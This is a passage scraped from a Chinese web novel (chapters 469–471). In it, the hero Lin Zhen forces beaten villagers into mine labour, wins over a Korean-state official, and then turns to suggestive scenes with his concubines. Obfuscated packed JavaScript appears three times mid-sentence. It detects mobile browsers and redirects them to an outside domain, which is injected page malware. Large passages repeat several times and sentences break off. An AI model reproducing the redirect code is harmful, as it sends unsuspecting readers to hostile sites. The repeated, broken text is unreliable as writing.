“放过我们吧!!” “呜呜呜呜!” 妇孺跑过来铺在自己家男人的尸体上嚎啕大哭。 虞仕没有半点悲天悯人的意思,林臻就更不用说了。 这一切都是他们自找的。 当时林臻说要见郝霸王,结果连面都没见到。 现在见到了,两人也已经失去了谈判的机会。 在国家机器面前,个人或者民间组织,都是不堪一击的。 林臻拍了拍虞仕的肩膀,说道:“差不多行了,都打死,谁给我挖矿啊?” “既然世子有令,本官自然答应。”虞仕笑了笑,挥手道:“全部停手!” 一声令下,士兵们停止手中的动作。可即便停下他们也凶神恶煞的,因为刚刚这些村民打他们的时候可没留手。 和大腿一样粗的木头棒子直接朝 脑袋上招呼。 虞仕走过去,清了清嗓子,说道:“本官给你们个机会。 “等等!一直没说话的郝霸王,从人群的最后面走出来,说道,“虞大人,难不成你要我们替那个乾国人挖矿? “郝民,你有意见? “虞大人,那可是乾国人!你帮助乾国人打自己人,你算什么好官! “放肆!本官做事情需要你指手画脚?再者,不管是莽村还是岭山,都是我大韩的领土,都要受朝廷的领导!你自己占地为王,不服从朝廷旨意,已经是一等大罪,现在又蛊惑村民**对抗官府,你如果再不识相,休怪本官将你们全部充军!要挖矿,人有的是! “你!郝霸王被怼得一句话也说不出来。 虞仕轻蔑地看着他,冷笑一声,走到村民面前说道:“本官给你们个将功赎罪的机会!从现在开始,你们受乾国世子的指挥,在岭山挖矿,为期三年!你们谁不愿意,站出来,本官送他去充军,若愿意,就老老实实等乾国世子给你们训话。 “谁不愿意!?虞仕高声大喊。 村民们已经被打怕了,如果要去充军就还得挨五十大板。 说不定打完连充军的机会都没有,直接被扣上**的帽子就**了。 谁也不想死,更不想这样毫无意义地死。 所以没有村民表示不愿意。 林臻见状,笑眯眯地走过来,对村民招了招手:“乡亲们,我林臻向来不亏待自己人。只要你们好好干活,我会让你们吃饱穿暖。但如果不好好干活,我自然有办法惩戒你们。现在所有人回去等候命令。 林臻忽然想起什么,又说道:“哦,你们可以选择逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468652|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑,但本世子可是个铁面无私的人,一旦抓住,我就直接送他去官府。是好好干活,还是**,你们自己掂量。 靠几百人,还是老弱病残来挖矿,简直是天方夜谭。其实林臻最开始的目的只是想拿到岭山的开发权而已,谁成想闹出这么多事情。 不过这样也好,给村民个教训,以后乖乖干活。相信有了这次事件,起码能保博望铁矿十年太平。 林臻让村民自己回去,而他则是邀请虞仕走向虎贲营的营帐。 这个人很不错。 有想法,有手段,也有不悲天悯人的石头心肠,等大乾破韩国后,他可以是个好的封疆大吏。 营帐内,桃木被火烤得阵阵脆响,上面煮着林臻特意带来的茶叶。 虞仕按身份来讲,和林臻相差十万八千里,但 此刻在林臻面前却不卑不亢。 林臻也没有端着,两人言语间相谈甚欢,最终林臻把话题引到了大乾与韩国的国运上。 虞仕叹了口气,放下茶杯:“唉,不瞒世子,韩国自古以来都是被韩家的煊赫门所统治。在这样的环境下,不是煊赫门的官员就很难出头。这次本官受陛下提拔,也是例外中的例外。但是按照现在的朝堂规则,我恐怕当不了多久的别驾,就还要回到闲职上。唉,这是国家的不幸,也是寒门的不幸。” “并非所有的不幸都是国家导致的。”林臻再次斟茶,“就比如你啊,我觉得你这个人很不错,有心重用于你,你怎么看?” “呵呵呵,世子说笑了,你在乾国当然是只手遮天,但这里是韩国。而本官也是大韩的官员。” “大乾现在一日三变,国力越来越强盛,去年还打败了南楚和北燕,这样辉煌的战绩,你还不明白?”林臻冷笑道:“呵,韩国是一定会被我们乾国吞并的,到时候我希望你可以出任韩地的州牧。” “世子此话当真?”虞仕来了兴趣。 他还不到四十,在**场还处于壮年,如果五十岁之前能当上州牧,那就是封疆大吏啊。 这都不仅仅是光宗耀祖的事情,还有可能会促进天下统一。 第469章 最多两年,必战 就像林臻说的,乾国国力根本不是其他国家可以比拟的,如果真有一天要入侵韩国,以韩国现在的国力根本抵挡不住。 万一不能与其他国家结盟,那韩国就只有灭国的份儿。 可韩国能拉拢谁呢?楚国吗? 可是现在韩国基本就已经和楚国结盟了,但是楚国却并没有给韩国真正的好处,反而处处伸手索要。 这样的盟友能靠得住? 秦国呢?更别提了。 上官墨轩的闺女现在就是林臻的小妾,秦国说什么也是不会帮助韩国的。 简单想了想,虞仕就已经权衡好利弊,定睛看着林臻:“世子真的要和韩国开战吗?” “最多两年,必战。” “好!下官愿意为世子的命令是从。”说完虞仕站起来,直接双膝跪在林臻面前。 林臻心情极好的大笑:“哈哈哈哈,好,这才是识时务的俊杰,倒是少浪费了本世子许多口舌。” 林臻把虞仕扶起来,两人算是正式结盟。 不,结盟不妥帖,应该说是接受了虞仕的归顺。 林臻说道:“你放心,既然你归顺于我,我自然会给你福利。政绩的事情你不用担心,回去后上表韩天鸿,就说莽村的事情已经解决,并且林臻也会按照约定送上二锅头。这个时候你最好把你自己的功劳写得大一些。因为莽村现在一切事务由我自己负责,包括劳工的吃喝拉撒。” “是,属下遵命。”虞仕重重点头。 随后两人又交谈一番细节,便起身告辞。 林臻站在营帐门口,盯着虞仕的背影愣愣出神。 侯春在他身后问道:“世子,这个人可靠吗?” 林臻冷笑着摇摇头:“呵,不可靠。” “那世子为何还许给他那么多好处?” “有时候收买,比洗脑更有好处,冲击力也更大。虞仕是个聪明人,他没能升迁上去完全是因为韩国是煊赫门在控制。而他不是煊赫门的人,所以这么多年才待在县丞的位置上。他对煊赫门心中是有恨意的,同时他对这个国家也非常失望。这样的人,正好可以被我利用。” “属下不懂,我们如果拿下韩国,完全可以派自己的官员来打理,完全没必要成全他。” “这不是成全,而是计谋。不是所有的官员都可以到任何地方任职的。尤其是战后地区,百姓需要安抚,城池需要建设。为了消除百姓的抵抗心理,用他们自己人为官是最好的办法。” 就像小日子过得还不错的倭国 人当年控制东北一样。 他们从来不自己来看管百姓,都是从百姓中找出一个听话的狗腿子。 让自己人管理自己人。 虽然缺德,但很有效果。 而且自己人也能对自己人在生活上好一些,在工作上严厉一些。 侯春迷茫地点了点头,应该是还没听懂。 不过没关系,林臻本来就不是把他当成**家来培养的。 胖子睡了一下午,连村口的哭喊声都没能将他惊醒。 他走过来,迷迷糊糊地说道:“大哥,什么情况?刚才那帮人喊啥呢?” “喊你起床啊。” “搞笑,胖爷用他们喊?” “别废话了,收拾东西,我们回家。” “啊?回家?”胖子看了看侯春。 见猴崽子点了点头,问道:“这就完事了?矿还挖不?” “当然要挖。怎么?你想留在这挖矿?” “别介!什么鸟不拉屎的地方都想困住你胖爷?”胖子抢过林臻手里的烟枪,猛嘬了一口,然后吞云吐雾的。 之前那个烟枪被棋牌佛拿走了,这是楚惜灵后来又给林臻打造的,比之前那个更加华丽。 林臻说道:“博望铁矿没人管是不行的。虎贲营留下负责监工,我回叶县去找合适的人来接手。” 胖子吐出一大口烟雾:“找什么合适的人?老庄那批人不是现成的吗?” “也对,让百骑司的人当矿长,也算是给嫣儿一个交代。”林臻点点头,命人喊来老庄。 林臻详细地告诉老庄应该怎么招人,什么待遇,粮草布匹从叶县运过来。 人家韩国把铁矿都给了,小来小去的花销林臻完全可以承担。 大乾没有铁矿可以挖,而是成本太高了。 利用这群韩国村民,每个月只需要负责吃饭的费用,其他一概不管,成本大大降低。 韩国的事情解决了,而且解决得非常顺利。 岭山地区的铁矿储量十分惊人,别人不知道,林臻可是知道。因为后世正因为岭山铁矿的存在,解决了当地二十万人就业。 回去的路总是比去的时候要快。这是爱因斯坦说的,林臻对此深有感触。 一来一回一个多月,与慕容嫣约定好去广陵的事情也彻底耽误了。 耽误就耽误吧,这才刚刚开春,还不到江南的阴雨天气,去了也看不出什么。 林臻很低调地回到京城,第一件事不是去见慕容嫣,而是去找张俪。 他需要让张俪派一个精明的大掌柜去博望矿盯着点,老庄那厮对管理还行,但是对钱这方面完全就是个**。 经过大半年的装修,林臻梦想中的娱乐城已经初具规模。 以英雄赌场为中心向两侧延伸,有歌舞场、青楼、酒楼、洗浴等等产业。尤其是洗浴,不管是什么天气,什么季节都人满为患。 现在大家都以去云水湾洗一次澡为荣。 之所以这么受欢迎,是因为不管是赌场、洗浴,还是其他产业,三楼都是贯通的。 整条街全都是联排的建筑,三楼全部打通。 顾客可以从赌场的三楼,去往洗浴的三楼,也可以去往酒楼。 很多富商现在谈生意都需要提前找洗浴的大掌柜预约,然后带人过来洗澡,洗完二楼包厢里享受下顶级的按摩服务,边享受边谈生意,惬意得很。 包括很多文人才子也来洗澡,但是能洗得上的很少。 毕竟文**多数都是穷鬼,而且他们也不知道为什么,大乾这个国家对文人越来越不待见了,反而对商贾、工匠、农民更加体贴。 说好的士农工商呢?如果是这个样子,那我当初还读什么圣贤书啊。 人当年控制东北一样。 他们从来不自己来看管百姓,都是从百姓中找出一个听话的狗腿子。 让自己人管理自己人。 虽然缺德,但很有效果。 而且自己人也能对自己人在生活上好一些,在工作上严厉一些。 侯春迷茫地点了点头,应该是还没听懂。 不过没关系,林臻本来就不是把他当成**家来培养的。 胖子睡了一下午,连村口的哭喊声都没能将他惊醒。 他走过来,迷迷糊糊地说道:“大哥,什么情况?刚才那帮人喊啥呢?” “喊你起床啊。” “搞笑,胖爷用他们喊?” “别废话了,收拾东西,我们回家。” “啊?回家?”胖子看了看侯春。 见猴崽子点了点头,问道:“这就完事了?矿还挖不?” “当然要挖。怎么?你想留在这挖矿?” “别介!什么鸟不拉屎的地方都想困住你胖爷?”胖子抢过林臻手里的烟枪,猛嘬了一口,然后吞云吐雾的。 之前那个烟枪被棋牌佛拿走了,这是楚惜灵后来又给林臻打造的,比之前那个更加华丽。 林臻说道:“博望铁矿没人管是不行的。虎贲营留下负责监工,我回叶县去找合适的人来接手。” 胖子吐出一大口烟雾:“找什么合适的人?老庄那批人不是现成的吗?” “也对,让百骑司的人当矿长,也算是给嫣儿一个交代。”林臻点点头,命人喊来老庄。 林臻详细地告诉老庄应该怎么招人,什么待遇,粮草布匹从叶县运过来。 人家韩国把铁矿都给了,小来小去的花销林臻完全可以承担。 大乾没有铁矿可以挖,而是成本太高了。 利用这群韩国村民,每个月只需要负责吃饭的费用,其他一概不管,成本大大降低。 韩国的事情解决了,而且解决得非常顺利。 岭山地区的铁矿储量十分惊人,别人不知道,林臻可是知道。因为后世正因为岭山铁矿的存在,解决了当地二十万人就业。 回去的路总是比去的时候要快。这是爱因斯坦说的,林臻对此深有感触。 一来一回一个多月,与慕容嫣约定好去广陵的事情也彻底耽误了。 耽误就耽误吧,这才刚刚开春,还不到江南的阴雨天气,去了也看不出什么。 林臻很低调地回到京城,第一件事不是去见慕容嫣,而是去找张俪。 他需要让张俪派一个精明的大掌柜去博望矿盯着点,老庄那厮对管理还行,但是对钱这方面完全就是个**。 经过大半年的装修,林臻梦想中的娱乐城已经初具规模。 以英雄赌场为中心向两侧延伸,有歌舞场、青楼、酒楼、洗浴等等产业。尤其是洗浴,不管是什么天气,什么季节都人满为患。 现在大家都以去云水湾洗一次澡为荣。 之所以这么受欢迎,是因为不管是赌场、洗浴,还是其他产业,三楼都是贯通的。 整条街全都是联排的建筑,三楼全部打通。 顾客可以从赌场的三楼,去往洗浴的三楼,也可以去往酒楼。 很多富商现在谈生意都需要提前找洗浴的大掌柜预约,然后带人过来洗澡,洗完二楼包厢里享受下顶级的按摩服务,边享受边谈生意,惬意得很。 包括很多文人才子也来洗澡,但是能洗得上的很少。 毕竟文**多数都是穷鬼,而且他们也不知道为什么,大乾这个国家对文人越来越不待见了,反而对商贾、工匠、农民更加体贴。 说好的士农工商呢?如果是这个样子,那我当初还读什么圣贤书啊。 人当年控制东北一样。 他们从来不自己来看管百姓,都是从百姓中找出一个听话的狗腿子。 让自己人管理自己人。 虽然缺德,但很有效果。 而且自己人也能对自己人在生活上好一些,在工作上严厉一些。 侯春迷茫地点了点头,应该是还没听懂。 不过没关系,林臻本来就不是把他当成**家来培养的。 胖子睡了一下午,连村口的哭喊声都没能将他惊醒。 他走过来,迷迷糊糊地说道:“大哥,什么情况?刚才那帮人喊啥呢?” “喊你起床啊。” “搞笑,胖爷用他们喊?” “别废话了,收拾东西,我们回家。” “啊?回家?”胖子看了看侯春。 见猴崽子点了点头,问道:“这就完事了?矿还挖不?” “当然要挖。怎么?你想留在这挖矿?” “别介!什么鸟不拉屎的地方都想困住你胖爷?”胖子抢过林臻手里的烟枪,猛嘬了一口,然后吞云吐雾的。 之前那个烟枪被棋牌佛拿走了,这是楚惜灵后来又给林臻打造的,比之前那个更加华丽。 林臻说道:“博望铁矿没人管是不行的。虎贲营留下负责监工,我回叶县去找合适的人来接手。” 胖子吐出一大口烟雾:“找什么合适的人?老庄那批人不是现成的吗?” “也对,让百骑司的人当矿长,也算是给嫣儿一个交代。”林臻点点头,命人喊来老庄。 林臻详细地告诉老庄应该怎么招人,什么待遇,粮草布匹从叶县运过来。 人家韩国把铁矿都给了,小来小去的花销林臻完全可以承担。 大乾没有铁矿可以挖,而是成本太高了。 利用这群韩国村民,每个月只需要负责吃饭的费用,其他一概不管,成本大大降低。 韩国的事情解决了,而且解决得非常顺利。 岭山地区的铁矿储量十分惊人,别人不知道,林臻可是知道。因为后世正因为岭山铁矿的存在,解决了当地二十万人就业。 回去的路总是比去的时候要快。这是爱因斯坦说的,林臻对此深有感触。 一来一回一个多月,与慕容嫣约定好去广陵的事情也彻底耽误了。 耽误就耽误吧,这才刚刚开春,还不到江南的阴雨天气,去了也看不出什么。 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虽然缺德,但很有效果。 而且自己人也能对自己人在生活上好一些,在工作上严厉一些。 侯春迷茫地点了点头,应该是还没听懂。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468653|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过没关系,林臻本来就不是把他当成**家来培养的。 胖子睡了一下午,连村口的哭喊声都没能将他惊醒。 他走过来,迷迷糊糊地说道:“大哥,什么情况?刚才那帮人喊啥呢?” “喊你起床啊。” “搞笑,胖爷用他们喊?” “别废话了,收拾东西,我们回家。” “啊?回家?”胖子看了看侯春。 见猴崽子点了点头,问道:“这就完事了?矿还挖不?” “当然要挖。怎么?你想留在这挖矿?” “别介!什么鸟不拉屎的地方都想困住你胖爷?”胖子抢过林臻手里的烟枪,猛嘬了一口,然后吞云吐雾的。 之前那个烟枪被棋牌佛拿走了,这是楚惜灵后来又给林臻打造的,比之前那个更加华丽。 林臻说道:“博望铁矿没人管是不行的。虎贲营留下负责监工,我回叶县去找合适的人来接手。” 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以英雄赌场为中心向两侧延伸,有歌舞场、青楼、酒楼、洗浴等等产业。尤其是洗浴,不管是什么天气,什么季节都人满为患。 现在大家都以去云水湾洗一次澡为荣。 之所以这么受欢迎,是因为不管是赌场、洗浴,还是其他产业,三楼都是贯通的。 整条街全都是联排的建筑,三楼全部打通。 顾客可以从赌场的三楼,去往洗浴的三楼,也可以去往酒楼。 很多富商现在谈生意都需要提前找洗浴的大掌柜预约,然后带人过来洗澡,洗完二楼包厢里享受下顶级的按摩服务,边享受边谈生意,惬意得很。 包括很多文人才子也来洗澡,但是能洗得上的很少。 毕竟文**多数都是穷鬼,而且他们也不知道为什么,大乾这个国家对文人越来越不待见了,反而对商贾、工匠、农民更加体贴。 说好的士农工商呢?如果是这个样子,那我当初还读什么圣贤书啊。 第470章 你比普通百姓强在哪里? 林臻也渡过圣贤书。 四书五经嘛谁不知道啊。但他在读的过程中感觉自己越来越像个道貌岸然的君子以外并没有觉得自己学到什么具体的知识。 想要建设现代化国家实现现代化建设需要的都是拥有专业技能的人才。 而不是只会之乎者也的君子。 君子当然重要社会需要君子。否则奸诈小人怎么踩着他们的尸体成功? 所以林臻在有意无意地提高工人待遇提高农民待遇甚至还要提高商贾的待遇唯独对文人的待遇只字不提。 放在以前但凡是个读书人不管是谁看到都会对其礼遇有加。尤其是那些商贾对文人非常谦逊甚至会好酒好菜地招待为的只是和他们攀上关系。 因为文人不一定什么时候就会成长为官员。 但是现在不行了朝廷今年的大考定在三月初一据说题目是由林臻和楚惜灵这对神雕侠侣亲自出的。 圣贤的内容要考但只占了很小的一部分。其他主要以算学治理地方、应急处置、农作物生长经济产业规划等等方面。 最开始的题库一出来慕容嫣就看了一遍。 看完以后只对治理地方这方面简单说了几句然后就扔到一边了。 因为其他的任何东西她都不懂。 她相信那些苦读圣贤书多年的文人士子也都不懂。 但林臻态度很坚决那就是宁缺毋滥。 他记得一件很经典的事情。 那就是辽东水灾。 去年辽东闹水灾受灾最严重的一个县有位县令姓朱。 这位县令离谱到什么程度?发生水灾了他不懂治理不懂疏通 挥挥洒洒写了一篇类似八股文的文章。 什么愧对陛下愧对百姓愧对天下苍生。但辽东水灾是天灾不是臣的过失臣唯有以身祭典希望苍天放在我辽东百姓。 写完还让人抄了好几份连夜给慕容嫣送去他自己则是一头扎进洪水中自尽了。 就这样垃圾的官员硬是靠一篇文章把慕容嫣感动得一塌糊涂。甚至还要给他立个牌坊陪葬先帝陵墓。 林臻当时就说你还是放过先帝吧。这样的官员到哪都是坑人的。 慕容嫣还不服气说人家都以身殉国了你还想怎么样。 林臻说:“官员从来就不是用来殉国的而是用来救国、治国的。发生水灾不懂疏散不懂做预案更不知道如何让百姓重建家园只 知道**保名声。这样简单的事情别说官员,就算普通百姓也会做,那我们为什么要选他当地方官?” 这就让林臻想到后世的一件事情。 当初朝廷为了避免瘟疫扩散,所以下达指令,说各地方政府要做好防控,保证人民群众生命财产安全。 结果呢?结果地方就是把全城封锁.全城许出不许进,进来就先隔离半个月。 最可怕的是,一个城市这么做,其他城市都跟着效仿,最后导致了什么结果就不用林臻说了吧? 林臻想说的是,如果地方官都把朝廷的政令处理得这么简单,根本不动脑子,那你一介官员和普通老百姓有什么区别? 你比普通百姓强在哪里? 朝廷为什么要选你一个和普通百姓没有任何区别的人来当官员呢? 所以林臻坚持认为,官员的选拔和任免绝不能马虎。 他可以派遣自己身边的人去出任一些职位岗位,但那也是看他们的个人能力。 就比如德豪,他虽然吊儿郎当,爱舔玲儿脚丫,但是对武清开发区的一系列事情了如指掌。 从不会到会,从什么都不懂到专业精通,所用的时间很短。这就证明德豪对管理武清开发区这件事情有自己的心得,把他放在武清,林臻很放心。 但是像胖子。 这厮对什么事情都不上心,甚至林臻都不能让他去出任元帅。 他只配当个先锋大将。 即便林臻和他的关系再好,也不能把他放在很高的位置上,因为那是对其他官员,乃至全国百姓的不负责任。 既然要把大乾建设成世界第一强国,官员的任免就需要慎之又慎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477845|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 嗦螺这么多,林臻只是想表达,他心中真的有一个关于建国的梦想。 林臻回来这事儿估计慕容嫣已经知道了,但其他妻妾还不知道。 张俪现在是四九城里说一不二的大人物。 这不仅仅因为她是林臻的爱妾,更是因为她已经是大乾第一商人,还是位女强人。 在林臻不关注的那些时日里,张俪已经悄悄把产业扩大,逐渐辐射了周边地区以及国外,像她接手的顾家布庄,其自产自销的丝绸、麻布、绸子、缎子面等等布料都已经销往各国,成为中低端收入人群的最爱。 因为绫罗绸缎不是谁都能穿得起、用得起了,这里面有很多讲究。张俪的眼睛狠毒,一眼就看中这个中低端收入人群,于是从这方面入手打造可以让他们消费得起的中低端布料。 现在“臻选布庄”的招牌已经享誉全国,“臻选外贸”更是深受中原七国的普通百姓追捧。 而这,只是张俪商业帝国的冰山一角而已。 但她没有飘,每天依旧在赌场三楼最南边的办公室里工作。随着产业的扩大,她基本已经不亲自招待贵客了。 也对,大乾世子的小妾,那是谁都能见的吗? 赌场的生意她也不怎么管,全交给那对精心培养的双胞胎打理,她本人只是在大事上面掌舵。其余时间,她喜欢在办公室里写写字,看看书,养养花,顺便带着护卫、小厮、丫鬟们去巡视下产业,看看是否有不妥之处,也看看装修的进度如何。 林臻带着胖子来赌场,还没进门,就看到一个熟悉的身影。 那是个女人,不算有多漂亮,但也算有几分姿色。 她穿着黑色紧身衣,梳着高马尾,从外面走进赌场里面,好像是赌场里老千巡检员。 这是个特殊岗位,也是张俪发明的,专门盯着那些有出千嫌疑的赌徒。 不过这都不重要。 重要的是,林臻几乎看过这个女人浑身上下的每一个地方。 林臻回过头,看向王胖子:“胖子,你不是说这个假三娘跑了吗?” 第471章 晚上带着你妹妹一起回府 胖子略微有些尴尬,可能也是没想到林臻居然在这抓了个正着。 他憨厚地嘿嘿一笑:“嘿嘿嘿,大哥好眼力。” “你少给我打马虎眼,问你话呢!” “这个嘛” 胖子还没说出口,就见闫菲走了过来。 她还是那身大红色长裙,见到林臻后眼睛亮亮的,恨不得把林臻吃掉的样子。 “世子!!” “嗯,你是.妹妹?”林臻总是分不清她和闫苗,所以说话也带着几分试探。 闫菲捂着嘴痴痴一笑:“噗咯咯咯,世子~你好讨厌,怎么总是记不住人家呢?人家是姐姐!” “啊哈哈哈哈”林臻尴尬地笑了笑,然而闫菲却没有他那样矜持,纤细修长的柔荑,很是自然地搂住林臻手臂,胸前那不是很宏伟的器官也有意无意的剐蹭着他。 林臻有些心猿意马,但还是没忘记追问胖子。 “胖子,你赶紧给我个解释,否则我现在就把她撵出去。” “别别别!大哥,我说还不行嘛”胖子很不情愿地叹了口气,“唉,是,胖爷是骗你了,但胖爷也是见不得姑娘受苦啊,她也是个苦命人,成天在哈德门里混也不是个事儿,于是胖爷就做主让她偷偷地回了京城。” 林臻脸黑得像个锅底:“奶奶的,过关文书也是你签的吧?” “那倒不是,是胖爷拿你名字签的。” “你她妈”林臻刚要骂,就见闫菲使劲紧了紧他的手臂,那浑圆的小可爱被挤压得变了形状。 “世子,您好不容易来一次,些许小事就不要生气了嘛~奴家可以陪您好好乐呵乐呵哦~” 说完闫菲朝林臻抛了个媚眼,还舔了舔那猩红的双唇。 好一朵熟透的桃花啊,林臻可以说是想怎么采就怎么采。 甚至连她的好姐妹也一起采。 但林臻不太想这么做,妻妾越多,需要承担的责任也就越大。 现在闫菲闫苗是张俪精心培养的赌场大掌柜,如果把她们俩收了,这姐妹俩恃宠而骄怎么办?林臻对妻妾又心软,到时候不好平衡。 不过瞧闫菲那心急的样子,估计也已经憋坏了。 如果是约一下,而不同负责任那可真是太好了。 男人就喜欢这种的。 所以很多有钱的男人都选择包养,而不是谈恋爱或者迎娶。 林臻很暧昧地捏了捏闫菲的小脸蛋,爽得她直接歪倒在林臻怀里。 “哎呀~世子~~” 林臻笑了。 不错,脸蛋满满都是胶原蛋白,十分有弹性。 “小妮子,你是不是也知道那个黑衣女人的事情?” 闫菲腻歪在林臻怀里,也不管周围人多人少,小巧的手指一个劲儿在他胸口画着圈圈。 “奴家也是听老板的说嘛。老板说要安排一位女子进来,奴家见到琳琅后就给她安排了监管员的身份。不过奴家真的不知道她是胖爷的人。” 林臻看向胖子。 那锐利的目光看得他心里直发慌。 “胖子,这人你确定没有危险?” “确定!她如果犯事,胖爷背锅!”胖子紧张的直拍胸脯。 然而林臻还是摇摇头:“不行,我不能拿张俪的性命去赌,立刻安排琳琅去别的岗位,我看洗浴那边就不错,先当个掌柜助理,回头做得好再往上升。” 闫菲立刻盈盈下拜:“全听世子吩咐呢~” 林臻没好气地翻个白眼:“骚样,晚上带着你妹妹一起回府。” “真的!!?”闫菲眼睛里全是小星星。 这一天,终于要来了呢! 我终于可以成为世子的女人了! 林臻松开她,让她去跟洗浴的掌柜做交接,同时也让胖子自己去玩。 胖子现在对**没什么兴趣,主要也是因为他赢的钱带不走,输了还要自掏腰包。 于是他转身离开赌场,回家去复命了。 林臻上楼,很熟络地走到张俪的办公室,推开门,就见那绝美的女子正侧躺在床榻上小睡。 春困秋乏,自古有之。 林臻坏笑着走过去,见张俪身形窈窕,高高的胯骨与纤细的腰肢形成鲜明对比,顿时有些心猿意马。 除此之外,刚刚还被闫菲撩拨出些许火气,此刻见到张俪这副姿态,他想都没想,直接压了上去。 张俪轻吟一声,反手搂住林臻的脖颈,就连美眸都不曾睁开,说道:“夫君几时回来的?” “嗯?你怎么知道是我?” “呵呵呵,妾身这房间除了您以外,任何人进来都需要敲门,还需要经过虎贲营的层层监视。既然虎贲营没有来汇报,那就说明是夫君呀。” “你倒是机敏,怎么?多日不曾欢好,可有想念为夫?”说着林臻开始在张俪怀中打滚,来回乱蹭,逗得张俪更是痴痴娇笑。 “咯咯咯咯,哎呀夫君,这大白天的,您可别乱来。” “就得现在,晚上不行,有约了。” “啊?约谁了? ” “你的好掌柜,闫菲闫苗啊。” 张俪翻个白眼:“那对姐妹等您这么久,您才想起来啊?也是够无情的。” “呼!!”林臻把头扬起来,深深吸上口气,刚才闷坏了:“为夫我正是因为有情,所以才不能乱来!” 说完林臻手忙脚乱地给张俪解裙子。 她还是那身紫色长裙,藏在里面的白花花长腿特别吸睛。 “别别别,夫君!您等等,妾身先去喝碗药。” “喝药?”林臻动作戛然而止,问道:“你怎么了?身体出什么问题了吗?” “不是,是妾身.”说到这张俪的脸蛋一红。 刚刚林臻那么大尺度的动作都没能让她脸红。 “是妾身找孙神仙给开个药方,可以可以帮助妾身怀孕的那种” 原来如此。 张俪看着晴雯和青霞的肚子一天比一天大,自己也开始着急了。 虽然不同时代有对生育这件事情的不同看法,但是在大乾,女人结了婚不生孩子,那就是有问题,而且有很大的问题! 像张俪这样的女强人自然是不允许被这种**欺负的,除此以外,她也确实想给林臻生个孩子,于是就找到孙神仙,索要受孕良方。 只见张俪起身,打开柜子从里面拿出一个黑色的药丸,放进茶杯里碾碎,再用热水一冲。 浓郁的药香瞬间弥漫开来,张俪仰头喝下,随即朝林臻走来。 边走,边宽衣解带。 ” “你的好掌柜,闫菲闫苗啊。” 张俪翻个白眼:“那对姐妹等您这么久,您才想起来啊?也是够无情的。” “呼!!”林臻把头扬起来,深深吸上口气,刚才闷坏了:“为夫我正是因为有情,所以才不能乱来!” 说完林臻手忙脚乱地给张俪解裙子。 她还是那身紫色长裙,藏在里面的白花花长腿特别吸睛。 “别别别,夫君!您等等,妾身先去喝碗药。” “喝药?”林臻动作戛然而止,问道:“你怎么了?身体出什么问题了吗?” “不是,是妾身.”说到这张俪的脸蛋一红。 刚刚林臻那么大尺度的动作都没能让她脸红。 “是妾身找孙神仙给开个药方,可以可以帮助妾身怀孕的那种” 原来如此。 张俪看着晴雯和青霞的肚子一天比一天大,自己也开始着急了。 虽然不同时代有对生育这件事情的不同看法,但是在大乾,女人结了婚不生孩子,那就是有问题,而且有很大的问题! 像张俪这样的女强人自然是不允许被这种**欺负的,除此以外,她也确实想给林臻生个孩子,于是就找到孙神仙,索要受孕良方。 只见张俪起身,打开柜子从里面拿出一个黑色的药丸,放进茶杯里碾碎,再用热水一冲。 浓郁的药香瞬间弥漫开来,张俪仰头喝下,随即朝林臻走来。 边走,边宽衣解带。 ” “你的好掌柜,闫菲闫苗啊。” 张俪翻个白眼:“那对姐妹等您这么久,您才想起来啊?也是够无情的。” “呼!!”林臻把头扬起来,深深吸上口气,刚才闷坏了:“为夫我正是因为有情,所以才不能乱来!” 说完林臻手忙脚乱地给张俪解裙子。 她还是那身紫色长裙,藏在里面的白花花长腿特别吸睛。 “别别别,夫君!您等等,妾身先去喝碗药。” “喝药?”林臻动作戛然而止,问道:“你怎么了?身体出什么问题了吗?” “不是,是妾身.”说到这张俪的脸蛋一红。 刚刚林臻那么大尺度的动作都没能让她脸红。 “是妾身找孙神仙给开个药方,可以可以帮助妾身怀孕的那种” 原来如此。 张俪看着晴雯和青霞的肚子一天比一天大,自己也开始着急了。 虽然不同时代有对生育这件事情的不同看法,但是在大乾,女人结了婚不生孩子,那就是有问题,而且有很大的问题! 像张俪这样的女强人自然是不允许被这种**欺负的,除此以外,她也确实想给林臻生个孩子,于是就找到孙神仙,索要受孕良方。 只见张俪起身,打开柜子从里面拿出一个黑色的药丸,放进茶杯里碾碎,再用热水一冲。 浓郁的药香瞬间弥漫开来,张俪仰头喝下,随即朝林臻走来。 边走,边宽衣解带。 ” “你的好掌柜,闫菲闫苗啊。” 张俪翻个白眼:“那对姐妹等您这么久,您才想起来啊?也是够无情的。” “呼!!”林臻把头扬起来,深深吸上口气,刚才闷坏了:“为夫我正是因为有情,所以才不能乱来!” 说完林臻手忙脚乱地给张俪解裙子。 